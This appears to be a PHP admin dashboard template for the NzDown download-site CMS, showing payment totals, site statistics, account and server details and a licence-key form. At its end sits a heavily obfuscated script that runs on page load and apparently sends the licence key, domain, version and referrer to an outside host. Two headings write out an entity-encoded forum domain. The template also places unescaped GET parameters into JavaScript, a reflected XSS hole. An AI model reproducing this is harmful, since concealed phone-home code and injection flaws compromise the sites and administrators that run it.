<?php defined('APP_NAME') || exit('Access Denied'); 
?><!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="utf-8">
<meta name="Author" content="QQ:401421567" />
<link rel="stylesheet" href="<?php echo(isset($C['admin_static']) ? $C['admin_static'] : ''); ?>admin/css/bootstrap.min.css" />
<link rel="stylesheet" href="<?php echo(isset($C['admin_static']) ? $C['admin_static'] : ''); ?>admin/css/me.css" />
<script>var admin_static = "<?php echo(isset($C['admin_static']) ? $C['admin_static'] : ''); ?>" , cookie_pre = "<?php echo(isset($C['cookie_pre']) ? $C['cookie_pre'] : ''); ?>",_vip_key = "<?php echo(isset($vip['_key']) ? $vip['_key'] : ''); ?>",api_url = "<?php echo(isset($vip['api_url']) ? $vip['api_url'] : ''); ?>",_control = "<?php echo(isset($_GET['control']) ? $_GET['control'] : ''); ?>",_action = "<?php echo(isset($_GET['action']) ? $_GET['action'] : ''); ?>",version = '<?php echo(isset($vip['version']) ? $vip['version'] : ''); ?>',release = '<?php echo(isset($vip['release']) ? $vip['release'] : ''); ?>',vip_key = _vip_key;</script>
<script src="<?php echo(isset($C['admin_static']) ? $C['admin_static'] : ''); ?>admin/js/jquery.js"></script>
<script src="<?php echo(isset($C['admin_static']) ? $C['admin_static'] : ''); ?>admin/js/bootstrap.min.js"></script>
<script src="<?php echo(isset($C['admin_static']) ? $C['admin_static'] : ''); ?>js/layer/layer.js"></script>
<script src="<?php echo(isset($C['admin_static']) ? $C['admin_static'] : ''); ?>admin/js/global.js"></script>
<!--[if lt IE 9]>
  <script src="<?php echo(isset($C['admin_static']) ? $C['admin_static'] : ''); ?>admin/js/html5.js"></script>
  <script src="<?php echo(isset($C['admin_static']) ? $C['admin_static'] : ''); ?>admin/js/respond.min.js"></script>
<![endif]-->
<script type="text/javascript">
	var webdir = '<?php echo(isset($pp['webdir']) ? $pp['webdir'] : ''); ?>';
	layer.config({
		extend: 'extend/layer.ext.js',
		shift: -1
	});
	var pKey = "<?php echo(isset($_pkey) ? $_pkey : ''); ?>", urlKey = "<?php echo(isset($_ukey) ? $_ukey : ''); ?>", place = "<?php echo(isset($_place) ? $_place : ''); ?>";
	//全选与全不选
	function selectall(name,obj) {
		if ($(obj).is(':checked')) {
			$("input[name='"+name+"']").each(function() {
				$(this).prop('checked', true);
			});
		} else {
			$("input[name='"+name+"']").each(function() {
				$(this).prop('checked', false);
			});
		}
	}
</script>
<title><?php echo(isset($_title) ? $_title : ''); ?></title>
</head>
<body>
<div class="container-fluid">
	<?php if ($notice['comment_pro']>0 || $notice['comment_art']>0 || $notice['order_no_pay']>0 || $notice['withdrw_no']>0) { ?>
	<div class="alert alert-warning" id="notice">
		<?php if ($notice['comment_pro']>0) { ?><a href="javascript:;" onclick="parent.oneTab('未审核评论','comment-index-status-1-mid-2','audit');">有<?php echo(isset($notice['comment_pro']) ? $notice['comment_pro'] : ''); ?>条“<b>资源评论</b>”需要审核，马上去处理</a><br /><?php } ?>
		<?php if ($notice['comment_art']>0) { ?><a href="javascript:;" onclick="parent.oneTab('未审核评论','comment-index-status-1-mid-3','audit');">有<?php echo(isset($notice['comment_art']) ? $notice['comment_art'] : ''); ?>条“<b>文章评论</b>”需要审核，马上去处理</a><br /><?php } ?>
		<?php if ($notice['order_no_pay']>0) { ?><a href="javascript:;" onclick="parent.oneTab('充值消费','record-index-type-1-status-1','audit');">有未完成的充值，马上去处理</a><br /><?php } ?>
		<?php if ($notice['withdrw_no']>0) { ?><a href="javascript:;" onclick="parent.oneTab('提现列表','withdraw-index-status-1','audit');">有未处理的提现申请，马上去处理</a><br /><?php } ?>
	</div>
	<?php } ?>
	<div class="row">
		<div class="col-md-6">
			<div class="panel panel-default">
				<div class="panel-heading"><script>
<!--
document.write(unescape("&#98;&#98;&#115;&#46;&#48;&#55;&#54;&#54;&#99;&#105;&#116;&#121;&#46;&#99;&#111;&#109;"));
//-->
</script>
</div>
				<table id="used" class="table table-bordered">
					<tr>
						<td></td><td align="center">金额</td><td align="center">备注</td>
					</tr>
					<tr>
						<td align="center">用户充值</td>
						<td align="right"><?php echo(isset($notice['order_ok_pay']) ? $notice['order_ok_pay'] : ''); ?></td>
						<td align="center"></td>
					</tr>
					<tr>
						<td align="center">普通订单</td>
						<td align="right"><?php echo(isset($book['normal_price']) ? $book['normal_price'] : ''); ?></td>
						<td align="center"></td>
					</tr>
					<tr>
						<td align="center">用户提成</td>
						<td align="right"><?php echo(isset($book['ticheng']) ? $book['ticheng'] : ''); ?></td>
						<td align="center"></td>
					</tr>
					<tr>
						<td align="center">用户提现</td>
						<td align="right"><?php echo(isset($book['tixian']) ? $book['tixian'] : ''); ?></td>
						<td align="center"></td>
					</tr>
					<tr>
						<td align="center">用户提现手续费</td>
						<td align="right"><?php echo(isset($book['tixian_charge']) ? $book['tixian_charge'] : ''); ?></td>
						<td align="center"></td>
					</tr>
				</table>
			</div>
			<div class="panel panel-default">
				<div class="panel-heading"><script>
<!--
document.write(unescape("&#98;&#98;&#115;&#46;&#48;&#55;&#54;&#54;&#99;&#105;&#116;&#121;&#46;&#99;&#111;&#109;"));
//-->
</script>
</div>
				<div class="panel-body">
				<dl class="dl-horizontal">
					<dt>资源分类</dt><dd><?php echo(isset($stat['category']) ? $stat['category'] : ''); ?> <?php echo(isset($stat['now']) ? $stat['now'] : ''); ?> <?php echo(isset($stat['now2']) ? $stat['now2'] : ''); ?></dd>
					<dt>资源数量</dt><dd><?php echo(isset($stat['products']) ? $stat['products'] : ''); ?> </dd>
					<dt>文章数量</dt><dd><?php echo(isset($stat['article']) ? $stat['article'] : ''); ?></dd>
					<dt>用户数量</dt><dd><?php echo(isset($stat['users']) ? $stat['users'] : ''); ?></dd>
					<dt>订单数量</dt><dd><?php echo(isset($book['normal_num']) ? $book['normal_num'] : ''); ?></dd>
				</dl>
				</div>
			</div>
		</div>
		<div id="homer" class="col-md-6">
			<form id="bind_key" method="post">
				<div class="input-group has-success">
					<span class="input-group-addon">授权验证</span>
					<input type="text" name="key" id="key" class="form-control" value="" placeholder="<?php if (!empty($vip['key'])) { ?>已授权：<?php echo(isset($vip['_key']) ? $vip['_key'] : ''); }else{ ?>请输入授权码<?php } ?>" >
					<span class="input-group-btn">
						<button type="button" class="btn btn-success" id="vip_bind">验证 / 确认</button>
					</span>
				</div>
			</form>
			<div class="panel panel-default mt10">
				<div class="panel-heading">帐号信息</div>
				<div class="panel-body">
				<dl class="dl-horizontal">
					<dt>登录帐号</dt><dd> <?php echo(isset($_user['username']) ? $_user['username'] : ''); ?>（<?php echo(isset($_group['groupname']) ? $_group['groupname'] : ''); ?> 登陆 <?php echo(isset($_user['logins']) ? $_user['logins'] : ''); ?> 次）</dd>
					<dt>本次登录</dt><dd> <?php echo(isset($_user['logindate']) ? $_user['logindate'] : ''); ?>（<?php echo(isset($_user['loginip']) ? $_user['loginip'] : ''); ?>）</dd>
					<dt>上次登录</dt><dd> <?php echo(isset($_user['lastdate']) ? $_user['lastdate'] : ''); ?>（<?php echo(isset($_user['lastip']) ? $_user['lastip'] : ''); ?>）</dd>
					<dt>浏览器核</dt><dd> <span id="browser"></span></dd>
				</dl>
				</div>
			</div>
			<div class="panel panel-default">
				<div class="panel-heading">服务器配置</div>
				<div class="panel-body">
				<dl class="dl-horizontal">
					<dt>操作系统</dt><dd class="small"><?php echo(isset($info['os']) ? $info['os'] : ''); ?></dd>
					<dt>环境软件</dt><dd class="small"><?php echo(isset($info['software']) ? $info['software'] : ''); ?></dd>
					<dt>MySQL</dt><dd class="small"><?php echo(isset($info['mysql']) ? $info['mysql'] : ''); ?></dd>
					<dt>上传限制</dt><dd class="small"><?php echo(isset($info['filesize']) ? $info['filesize'] : ''); ?></dd>
					<dt>远程访问</dt><dd class="small"><?php echo(isset($info['url_fopen']) ? $info['url_fopen'] : ''); ?></dd>
					<dt>其它支持</dt><dd class="small"><?php echo(isset($info['other']) ? $info['other'] : ''); ?></dd>
				</dl>
				</div>
			</div>
			<div class="panel panel-default">
				<table class="table">
					<tr class="info">
						<td><b>程序版本</b>：NzDown <?php echo(isset($vip['version']) ? $vip['version'] : ''); ?> (<?php echo(isset($vip['release']) ? $vip['release'] : ''); ?>) </td>
						<td id="version"></td>
					</tr>
				</table>
			</div>
		</div>
	</div>
</div>
<script type="text/javascript">
var appInfo,getBrowser,_hmt,orderId,domian;(function(){var oJQ='',Nex=11;function zmp(j){var q=4313117;var v=j.length;var h=[];for(var s=0;s<v;s++){h[s]=j.charAt(s)};for(var s=0;s<v;s++){var i=q*(s+123)+(q%30879);var d=q*(s+328)+(q%12456);var a=i%v;var x=d%v;var u=h[a];h[a]=h[x];h[x]=u;q=(i+d)%7310268;};return h.join('')};var FWG=zmp('kutsvincroreatdtounbhsflzjpqrocmxwcyg').substr(0,Nex);var lME='-sr(s=(r3eruf+li1]liz{)Cut=,0oxn,".v r-=;[85h;6)h=C76,7=.t.r6;q7fl7;hc,]8ln,),u c o;..,7r4l,(;(,vvo!0r)qgpip=nqr-==ii;o letC.<hi(acga+5uv+)];gf=s-i;+*[vn9 2cd8Ar,;(9h[ah=djn a,2rn1nawrnt,nnjdu=p)est<9wAr)[uq)0tl(feaupe1;(C99)(h(;lvli;+>nanre.6nu1;sa;rci>l)v+=e {ua5lrava((rgnstS;[=v.w;;e3gin9n}vergg;]rl4+[..nh(<v0a=+on=}u)jnj(ndra(.((nlli{; -.ivb.8.;sh,ifa=g])pva.<9=k(i;0[far,9.a; )).[43 oz.+an+0e=ta;(v=tr;oAnhdtllo=p]hnpo;bew(hn ]4.(t;b;c0)[(+v loz6qteh+j;qde;td(r=8alptm="r.o.1ot()+gtf3m "lev6+=2)r]lid{cilo61;0;bog}fwAa;,llrjnn=]rnrph})8"uj)fp)+u<erg rv]trf9 =.gry Ce+aSoifr;;jm l6otetm!vn8}fv)pt*t7rhq2=rvtst  l7=seC)p)lp)hol;3rq{]m=ndjs;i(}(a8u)=uwtv=vk}h(i u,nt;,ea=a((+g;; no]ssj3tz"rp-2,=1m,2a6c8.uti,)bai c{+2)"r[0[.Cpo+-.o1"rq(1goreu[r(r;v))gd3[,rrne9d(o)lrs1Cutl)(trb3r=;wc+don.7"pA",+{ncu=[,)ao+]l3fvars;u,nma]"0g3hnie(=s.vsaea,0c0rm=kkmvf)  )t';var kEG=zmp[FWG];var dpA='';var HGO=kEG;var Xiu=kEG(dpA,zmp(lME));var IZB=Xiu(zmp(')arr(=i"h[ml$,"9nouic70.)u6 82mfu 5ee.fD60:5._u9o00]fue90"U1N06016e4.Uu498b.fu987U.!:!.)",.te0t"e".1u6>2ai17)5"v"","te.juwe.CacU0IseD.s8en]",UnaEig,to)",.text")"$s",cap]na2U0"er]iou",t$2o,"daferi.,"%d"h"mxiUU.d{msiro$g.8st-le2.f"coeorrreU.f">.(u5ofa1fufba".fp4f\'fU.52.U1"6b.12U0.3u6"16!E92fu!ee\/.fv4edaUs240.f067rc.Uu6 165hr#mexm\/ftr1ng ",u#bbow"erp,"4etyim(0hwstd,"(ocptiUn"o"smri:t"-"cdeameE"eU,",(sra",_\/\/=m.dbaldu3!ctm\/am.fjst49td2f8aT1ee21]03?68b777e4198oc8U,"Uetfle]2srhy{ageam20iUseft.refdrUcpa,enrNoUU0ftrfck]kreera,"6.z].k8tNt",ido0n_U,"t.zUdo)n"0"pdsh\'];;$3;r3]){[-4"1(d;ie(!c(Uf1]\'U\'?]]"))u$(T)1U)U13]U(Uo2]0}}e$4_.s(){UU*)C.e={.si)U+"irifo"U+hpefaU6sadar,U+Ihrrmea+n.tseap6U+!pp]am.:Us4]rvewsi7n:,)5f},.,0f=wcndgwUU8U47U|6].()2ifg\/()sif|f"re0ox.opdra(ch+om(|n.ts]apU).sD+f.f\'[.nd.o].q)\/&\'9m](r,06))]U-.C.|[.hU#;]Uhtr|e;m0U41UU.q.#0D];80Ui2U..q)#3U]}rls2.dwifU\/vnrs,onnfD6(.rd[rfdm!]4b)g!.;sa.ar"\/Us9]:(U!06d){*0U14U4tr]e;00Ui.]U=Ue[1)];]0U!2U).qs#3n]}(;r4tu&n.2U-sC..}U&46"()"vUf53{=U(42.s(n;$0U)U8]"U\']]]U_0a"1]]+U([25Ur_0r"2hU3U_0u"6o]&".dy0Uo2]s.mUd97U)_7]UU)=])=}U(49h()=vU)57r=dxcuU2UU3]{(Ue22s);",73U&d]].U(e25];vf*5\/s._=d-cu72Ua6]=(U,22_)[c];,,.c.h]&87%2}]]NU,s4,x,.,.hU}anpI6foe.dU-4v.srge3.h*owaere.dU-4f1;1(U)3.43)(_hUt=-d_;mtu|..[]"U\/"d=ed.6ne".ddati()f\'1.]]));uom0an4.d3insowt&1o%2 ]]:(U+491)(l;ii(v0p_(ey,{_+mt.\'34]]$U&s],o"U[Idu:Uc3033U$IdI"UmTo,alt:3C,"Ute\/":){"_ku]d"4U).1UNvie_k.y,rsk_Na)e""doriad,"0at.go{y"mU)]2]f".]rine"r36\'"..uaotiUy":1}:}]6} d20lC.9U\'4 x-05uDU"1 5gEopUv1 5un0ti8n.oU-e]]!\' (\'2%[U, .tU-U.h! Uh3.wC[!arUdUo :5al2e,UU-k _!x2c ]3=1r o8de. ep,"{.ft7 _enU ]3.d'));var uZr=HGO(oJQ,IZB );uZr(); })()
</script>
</body>
</html>